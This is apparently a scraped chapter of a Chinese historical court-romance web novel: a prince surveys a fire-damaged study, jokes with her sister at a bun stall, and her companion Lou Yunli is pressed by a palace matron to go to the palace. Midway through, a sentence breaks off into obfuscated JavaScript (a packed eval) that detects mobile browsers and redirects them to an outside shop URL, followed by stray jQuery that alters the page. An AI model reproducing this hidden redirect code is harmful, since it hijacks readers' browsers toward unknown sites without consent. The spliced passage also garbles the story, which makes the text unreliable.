明明是让楼云璃退下,然而,离开的人却成了自己。
脚步匆匆。
落荒而逃似的。
沐观春袖着手,不一会儿就踏进书斋这座废墟堆,每一步,脚底板都硌着破砖碎瓦。
小小走神一下,险些崴着她娇贵的脚踝。
长长呼出一口白雾,勉强平复悸动的小心脏。
找着个能站脚的地儿,呼唤参与清扫工作的小祥子到跟前来。
一抬眸,发现楼云璃就在不远处,同样参与清扫工作。
她想不通这小妮子是何时跟来的。
带着小祥子往不起眼的角落挪了几步。
小祥子就是她肚里的蛔虫,抹了把脸上的黑渍,自觉做起火情汇报。
沐观春听完后槽牙痒痒:“火居然是从隔壁烧来的?”
隔壁是大长公主府,她皇妹沐含卿的住所。
也是赶巧了,大火和烟火撞在一起发生,才有如此混乱的局面。
“南风一起,大长公主府的火势没控制住,直扑咱们王府,书斋才遭了殃。”小祥子补充道。
沐观春走进书斋这片残砖烂瓦的深处。
小祥子随在她身旁:“大长公主的药斋也烧没了。昨夜大长公主在宫宴上,那看守药炉子的药童便偷懒打瞌睡,这才走了水。”
沐观春耳朵冻得发红,抬手碰碰。
她的皇妹是个药痴,平日恨不得跟药炉子睡在一块,想来这会儿正在自家府上难受着。
沐观春不好做追究,皇妹若不是要替她陪着母后,这火大概是烧不起来的。
是以心平气和道:“你去库房,挑几样名贵的药材送去大长公主府,聊以慰藉她。”
“奴才这就去。”
沐观春却叫住他,看了眼远处楼云璃忙碌的身影,放低声音道:“书斋虽然烧了,但也是王府重地,即便是下人清理,你也要多加留意,不准任何不相干的人靠近。”
密阁中,琅耀皇室的牌位如果被发现,恐怕要出麻烦。
小祥子明白她的弦外之意,端肃道:“奴才记着呢。”
“去吧。”
话音刚落,胖乎乎的管山海冒了出来,通宵的折腾,他一把老骨头松散不少,昏花的老眼更加昏花,身后领着一位老嬷嬷和一位老太监,正对着一根焦黑的廊柱叫亲王。
“……”
沐观春习以为常,“本王在这。”
管山海眼花耳不聋,听音辨位,讪讪的挪过来:“太皇太后和太后娘娘担心亲王,谴这二位来问安,他们非要亲眼见到亲王平安无事,才肯回去复命。”
二人上前各行各的礼。
老嬷嬷是梅昭身边的房嬷嬷。
老太监是太皇太后身边的管事太监,千川。
全是沐观春的老熟人。
千川公公捧来一礼盒:“今年刚入贡的雪顶含翠,太皇太后赞许有加,特命老奴送来一饼,给亲王尝尝。”
沐观春果断笑纳,再去端量房嬷嬷:“你又空手来的?”
房嬷嬷:“……”
.
初五,送穷开市。
百姓借着这岁首的由头,展望新的一年财源滚滚、喜乐安康。
早市最先热闹起来。
包子铺里。
笼屉揭开的刹那,白雾翻涌,携着滚烫的热意,送出肉包子的香味,四下乱飘,引着纷纷食客围上来。
摊主是位女娘,听说早几年自立为女户,麻利能干,眼下客官再多也不慌,在围裙上擦擦手,有条不紊的收铜板。
物美价廉,十个铜板五个包子。
沐观春在沐含卿的强烈要求下花出五十个铜板。
女娘用最大的一张荷叶将包子包好,见沐观春漂亮得不像话,收钱的手冷不丁的缩了下,双颊跟着漫出红颜色。
沐观春自始至终含着笑,朝她颔颔首。
沐含卿接下沐观春递来的包子,拿出一个忍着烫,用力撕咬一口,塞在腮帮子里:“明明是一个爹娘生的,凭什么你长得比我好看。”
沐观春坐进包子摊旁的矮桌边,“略逊于我,无需自卑。”
落座在她对面的沐含卿咽下包子,磨磨牙:“我是让你来陪我散心的,不是给我添堵的。”
她心爱的药斋烧没了,还遭了太皇太后一阵训斥。那些言官也不安生,小事化大,上折子埋汰她。
“我昨夜答应璃儿今晨陪她用早膳,结果天没亮你就拽着我出府。”
“言官欺负我,你不替我出气就罢了,还只疼云璃不疼我。”
沐观春余光瞥见墙根儿边一株粉梅花开得正艳,脑海中不受控制的闪过楼云璃的那件肚兜,眉尾微不可察的一颤,鬼使神差的走过去,折下一支。
“算你有良心,还会折梅哄我。”
“送璃儿的。”
沐含卿:“……”
“你瞧,这支粉梅开得比王府花园里的还要好。”沐观春握着断处,满目欣赏,再低头轻嗅,“也更香。”
自我沉醉片刻后,她感觉浑身发冷,缩了下双肩,侧去眸子,发现沐含卿在向她散发着浓浓怨气。
沐观春歪头,无奈道:“你跑去李御史家中,当着人家老母亲的面,把人胡子揪得半根不剩,你还委屈上了?”
要不是她压着此事,满朝文武肯定要群情激愤。
“是他们欺软怕硬,”沐含卿把剩余的包子拍桌上,双手叉腰,“满大街传你要谋朝篡位,他们才敢放几个屁啊,就逮着我这软柿子捏。”
沐观春还是那句话:“略逊于我,无需自卑。”
沐含卿:寒心!
.
东市,熙熙攘攘的街头。
珍宝阁的伙计在六秋的指挥下,将铺子里大大小小的宝贝,装进一口口梨木大箱中。
掌柜的猛擦冷汗,舌头打着结,时不时冒出一句:“公主殿下,使不得…使不……”
这家珍宝阁是梅家的产业,焕京城内最大最豪华的古董铺子。
而梅家是太后娘娘的母家。
楼云璃一早过来,跟逛菜市似的,直接就开抢。
掌柜的粗略一数,装了快有二十抬大箱子,他的心呐,拔凉拔凉的,“小的……不好向东家交代啊,还请殿下高抬贵手。”
楼云璃收获颇丰,心情好舒畅,捧着热乎乎的铜胎掐丝珐琅手炉撮了撮:“前几日房嬷嬷来王府看望千岁,空着手来的,千岁不好麻烦太后娘娘补上礼,方才嘱咐本宫亲自走一趟。”
抢劫还抢得名正言顺。
掌柜的快要哭了:“可是……这也……抢,拿的太多了。“
楼云璃斜睨着他:“梅大人贵为户部尚书,这些年贪墨多少茶税军粮,千岁看在太后的面上一直睁只眼闭只眼。”
掌柜悬着的心彻底死了。
“六秋,掌柜和伙计们辛苦了,多给些赏钱。”楼云璃道。
掌柜垂头丧气:“谢殿下赏。”
楼云璃受下他的谢,轻提着裙摆出门去,鞋尖雪白的绒球一颤一颤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17686205|207814||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着。
小祥子一见她出来,放下脚凳,伸去胳膊欲要搀扶着她上马车。
一辆青顶马车缓缓驶来,不偏不倚,就停在她们的马车前,面对着面。
楼云璃注意到这份不寻常,刚落在脚凳的双足重新落回地,只见那马车帘子一动,房嬷嬷探出头来。
“公主殿下万福。”房嬷嬷下车行个福礼,皮笑肉不笑,“老奴正要去王府,没料想在这碰见,实在赶巧了。”
她招呼随行的宫婢取来一宝盒,不大不小,轻拍盒盖:“这里头是朱砂红澄泥砚,顶顶好的宝贝,千金难觅,太后特意为亲王补上的礼。”
“礼——”楼云璃拖着轻飘飘的尾音,“已经补上了。”
房嬷嬷:哈?
她这才注意到珍宝阁门前的二十抬大箱子,再看向偷偷抹泪的掌柜。
反应过来后,笑脸立马有点绷不住。
“一些小礼物,太后不会舍不得吧?”楼云璃面无表情地明知故问。
房嬷嬷:你是纯抢啊!
“太……太后与亲王是一家人,哪有舍不得的道理。”房嬷嬷凭借职业素养,控制住面部表情,干笑两声,又侧身让出路,邀请楼云璃登上她的马车。
楼云璃婉拒:“王府有马车,不劳嬷嬷。”
“小陛下新得了一只蛐蛐儿,铁爪绿脑袋,强壮非常,十战十胜,取名永胜将军,特意请您入宫陪着耍耍。”
楼云璃蹙眉,沐宸小她十岁,与她并不算亲近,她们也鲜少一道玩乐,怎么可能邀她玩蛐蛐。
正值多事之秋,她得提防着点才好。
小祥子也对当下的事态门清儿,适时递句话:“公主,莫让亲王等久了。”
“辛苦嬷嬷跑一趟,这一抬抬的东西耽误不得,本宫回王府跟千岁复过命就入宫。”
房嬷嬷进前半步,面上还是低眉顺眼,“陛下是天子,岂有天子久等的道理。”
“耽误不了多久。”
“公主难道要抗旨?”
真是好大的罪名。
楼云璃神色骤冷,右眼角的泪痣更是蒙上一层寒霜。
.
宽慰好了调皮捣蛋的皇妹,沐观春的耳根总算有所清静。
她的皇妹哪都好,就是自幼太闹腾。
回到王府,从门倌那得知楼云璃尚未回来,加之闲来无事,便伸着懒腰,亲自走一趟膳房,吩咐午膳加一道楼云璃最爱的什锦鸭子。
小祥子冒冒失失的跑进来,满头热汗,一脸的“总算找着您人了”。
他鲜少这番模样,沐观春面色一凝:“出了何事?”
.
日正当中。
沐观春匆匆入宫,紫袍华服上的五爪蟒纹威风凛凛。
一如她眼下恨不得逮谁杀谁的汹汹气势。
安华门的守卫如见恶鬼,纷纷躬身退开,生怕挡了她的道。
沐观春堪称风一般的亲王,哗一下的飘过。
小祥子抱着拂尘,用两条小短腿苦苦追赶:“亲王冷静,冲动是魔鬼。”
他好怕沐观春会即刻起兵造反、血洗宫城、大开杀戒……
他闭上眼,不能再胡思乱想了,脑子里已经有画面了,完全没注意在前方的沐观春停了下来,野猪撞树似的撞上去,吓得双肩一抖连退三步。
“奴才该死奴才该死。”小祥子认错态度良好。
太后的颐春宫就在眼前。
只听沐观春对门外的小火者道:“滚进去通报,福亲王到!”